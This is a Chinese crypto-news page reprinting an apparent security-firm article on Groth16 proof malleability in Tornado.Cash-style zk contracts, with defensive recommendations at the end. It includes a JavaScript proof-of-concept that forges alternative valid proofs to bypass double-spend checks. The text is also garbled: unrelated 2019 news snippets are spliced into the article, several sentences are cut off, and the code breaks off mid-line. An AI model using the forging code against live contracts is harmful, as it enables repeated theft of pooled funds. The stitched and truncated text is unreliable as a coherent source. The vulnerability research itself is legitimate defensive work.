火星链 火星链
Ctrl+D收藏火星链
首页 > UNI > 正文

PRO:深入探究 Tornado.Cash 揭示zkp项目的延展性攻击

作者:

时间:1900/1/1 0:00:00

在上篇文章里,我们从原理的角度阐述了 Groth16 证明系统本身存在的延展性漏洞,本文中我们将以Tornado

上图中为了防止攻击者使用同一个Proof进行双花攻击,而又不暴露nullifier、secret,Tornado

   commitment <== commitmentHasher

component main = Withdraw(20);注意:我们在实验过程中发现,TornadoCash 在 GitHub 中的最新版代码里(https://github

2.2 实验验证2.2.1 验证证明 — circom 生成的默认合约首先,我们使用circom 生成的默认合约进行验证,该合约由于根本没有记录任何已经使用过的Proof相关信息,攻击者可多次重放proof1造成双花攻击。在下列实验中,可以针对同一电路的同一个input,无限次重放proof,均能通过验证。

声音 | 光明日报:推动区块链技术在民生领域更广泛、更深入地应用:《光明日报》今日发表题为“大力探索“区块链+”在民生领域的运用”评论文章。文章指出,自问世以来,区块链就以其作为数字货币的底层技术而受到各界褒贬,但把区块链技术等同于数字货币,就像把互联网等同于“万维网”一样,窄化了区块链的内涵。从区块链自身的逻辑来说,它的核心功能主要有3个:一是机器信任,二是价值传递,三是智能合约。这也是适合区块链落地的应用场景。文章中表示,“区块链+”在民生领域的更多应用还需要“脑洞大开”的创新实践。我们既要加快区块链核心技术的突破创新,不断完善监管机制,也要抓住区块链技术融合、功能拓展、产业细分的契机,推动区块链技术在民生领域更广泛、更深入地应用,实实在在地增进人民群众的民生福祉。[2019/10/31]

下图是使用proof1在默认合约中证明验证通过的实验截图,包含上篇文章中使用的Proof参数A、B、C,以及最终的结果:

下图是我们使用同样的proof1多次调用verifyProof函数进行证明验证的结果,实验发现针对同一input,无论攻击者使用多少次proof1进行验证,都可以通过:

当然在我们在snarkjs原生的js代码库中进行测试,也并未对已经使用过的Proof进行防范,实验结果如下:

针对circom 生成的默认合约中的重放漏洞,本文记录已使用过的正确Proof(proof1)中的一个值,以达到防止使用验证过的proof进行重放攻击的目的,具体如下图所示:

继续使用proof1进行验证,实验发现在使用同样Proof进行二次验证时,交易revert报错:"The note has been already spent",结果如下图所示:

但是此时虽然达到了防止普通proof重放攻击的目的,但是前文介绍过groth16算法存在延展性漏洞问题,这种防范措施仍可以被绕过。于是下图我们构造PoC,按照第一篇文章中的算法针对同一input生成伪造的zk-SNARK证明,实验发现仍然能通过验证。生成伪造证明proof2的PoC代码如下:

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp(){    let inputA = "7";    let inputB = "11";    const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');    // 2. 读取string后转化为int    const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));    console.log("The proof:",proof);    // 生成逆元,生成的逆元必须在F1域    const F = new ZqField(SNARK_FIELD_SIZE);    // const F = new F2Field(SNARK_FIELD_SIZE);    const X = F.e("123456")    const invX = F.inv(X)    console.log("x:" ,X )    console.log("invX" ,invX)    console.log("The timesScalar is:",F.mul(X,invX))    // 读取椭圆曲线G1、G2点    const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));    // console.log("The curve is:",vKey);    const curve = await curves.getCurveFromName(vKey.curve);    const G1 = curve.G1;    const G2 = curve.G2;    const A = G1.fromObject(proof.pi_a);    const B = G2.fromObject(proof.pi_b);    const C = G1.fromObject(proof.pi_c);    const new_pi_a = G1.timesScalar(A, X);  //A'=x*A    const new_pi_b = G2.timesScalar(B, invX);  //B'=x^{-1}*B    proof.pi_a = G1.toObject(G1.toAffine(A));    proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))    proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))    // 将生成的G1、G2点转化为proof    console.log("proof.pi_a:",proof.pi_a);    console.log("proof.new_pi_a:",proof.new_pi_a)    console.log("proof.new_pi_b:",proof.new_pi_b。生成的伪造证明proof2,具体如下图所示:

动态 | 湖南娄底书记市长会见中国工程院院士陈纯,深入探讨区块链技术与应用:据娄底新闻网消息,湖南娄底市委书记、市人大常委会主任李荐国9月19日会见中国工程院院士、杭州趣链科技有限公司董事长陈纯。双方围绕区块链技术与应用等方面开展合作,进行了深入探讨。李荐国表示,娄底市委、市政府对于区块链发展是积极支持、稳步推进的,目前已取得了初步成效。我们希望双方能够寻求一种利益共享、风险共担、合作共赢的发展模式,在坚持政府引导、企业主导的基础上,加强对区块链技术应用的监管,让区块链更好地为经济社会发展服务,为提高政府效能、创新社会管理服务,尽快把技术优势转化为经济优势,让老百姓得到实惠。[2019/9/20]

再次使用该参数调用verifyProof函数进行证明验证时,实验发现同一input的情况下使用proof2验证再次通过了,具体如下所示:

虽然伪造的证明proof2也只能再使用一次,但由于针对同一input的伪造的证明存在几乎无限多个,因此可能造成合约资金被无限次被提取。

本文同样使用circom库的js代码进行测试,实验结果proof1和伪造的proof2都可以通过验证:

经历了那么多次失败,难道没有一种方式可以一劳永逸吗?此处按照Tornado.Cash中通过校验原始input是否已经被使用的做法,本文继续修改合约代码如下:

需要说明的是,为了展示groth16算法延展性攻击的防范简单措施,**本文采取直接记录原始电路input的方式,但是这不符合零知识证明的隐私原则,电路输入应当是保密的。**比如 Tornado.Cash中input都是private,需要重新新增一个public input标识一条Proof。本文由于电路中没有新增标识,所以隐私性相对于Tornado.Cash来说较差,仅作为实验Demo展示结果如下:

可以发现,上图中使用同一input的Proof,只有第一次可以通过验证proof1,随后该proof1和伪造的proof2都不能通过校验。

本文主要通过魔改TornadoCash的电路和使用开发者常用的Circom默认生成的合约验证了重放漏洞的真实性和危害,并进一步验证了使用在合约层面的普通措施可以防护重放漏洞,但无法防止groth16的延展性攻击,对此,我们建议零知识证明的项目在项目开发时,应注意:

与传统DApp使用地址等唯一数据生成节点数据的方式不同,zkp项目通常是使用组合随机数的方式生成Merkle tree节点,需要注意业务逻辑是否允许插入相同数值节点的情况。因为相同的叶子结点数据可能导致部分用户资金被锁死在合约中,或者是同一叶子节点数据存在多个Merkle Proof混淆业务逻辑的情况。

zkp项目方通常使用mapping记录已使用的过的Proof,防范双花攻击。需要注意使用Groth16开发时,由于存在延展性攻击,因此记录需使用节点原始数据,而不能仅仅使用Proof相关数据标识。

复杂电路可能存在电路不确定、欠约束等问题,合约验证时条件不完整,实现逻辑存在漏洞等问题,我们强烈建议项目方在项目上线时,寻求对电路和合约都有一定研究的安全审计公司进行全面审计,尽可能的保证项目安全。

Beosin

企业专栏

阅读更多

金色财经

Web3活动

Techub Info

区块律动BlockBeats

金色财经 善欧巴

金色早8点

比推 Bitpush News

TaxDAO

SeeDAO见道

WJB

白话区块链

标签:NBSBSPROOPROnbs币发行量bspt币未来前景SHROOMMoon Maker Protocol

UNI热门资讯
BSP:Mint Ventures:熊市抄底 不要选择Meme

作者: Alex Xu , Mint Ventures  研究合伙人本期 Clips 来自于笔者与其他投资者在一个加密社群关.

1900/1/1 0:00:00
人工智能:“元宇宙”离我们还有多远?记者揭秘虚拟世界的现实差距

本文转自:中国青年网素材来源:央视新闻客户端元宇宙产品频出用户褒贬不一眼下互联网产业界,什么是最热的焦点?“元宇宙”毫无疑问是其中之一.

1900/1/1 0:00:00
ETF:为什么GBTC负溢价渐窄 有何影响?

原文来源:Coindesk  原文编译:Mary Liu,比推 BitpushNews市值近 140 亿美元的灰度比特币信托 (GBTC) 是加密投资领域的焦点,两年多来.

1900/1/1 0:00:00
NFT:NFT摄影市场在2021年增长到2亿美元,有哪些催生因素?

作者:RashedHaq编译及整理:比推AmyLiu原标题:《是什么推动了NFT摄影收藏的兴起?》仅在大约一个世纪前,摄影才成为艺术界的一部分。现在,NFT摄影正在受到年轻收藏家的欢迎.

1900/1/1 0:00:00
ETH:ETHGlobal Paris 2023黑客松胜选项目一览

撰文:金色财经0xxzETHGlobal Paris 2023黑客松于7月21日至23日举行.

1900/1/1 0:00:00
数字艺术:一文阐述美国财政部对全球艺术品贸易研究的见解

美国财政部在2月份发布了期待已久的《关于通过艺术品贸易促进和恐怖融资的研究》。这份40页的报告描绘了一个自我监管的全球艺术行业,的证据有限,几乎没有恐怖主义融资的证据,也不需要政府的紧急.

1900/1/1 0:00:00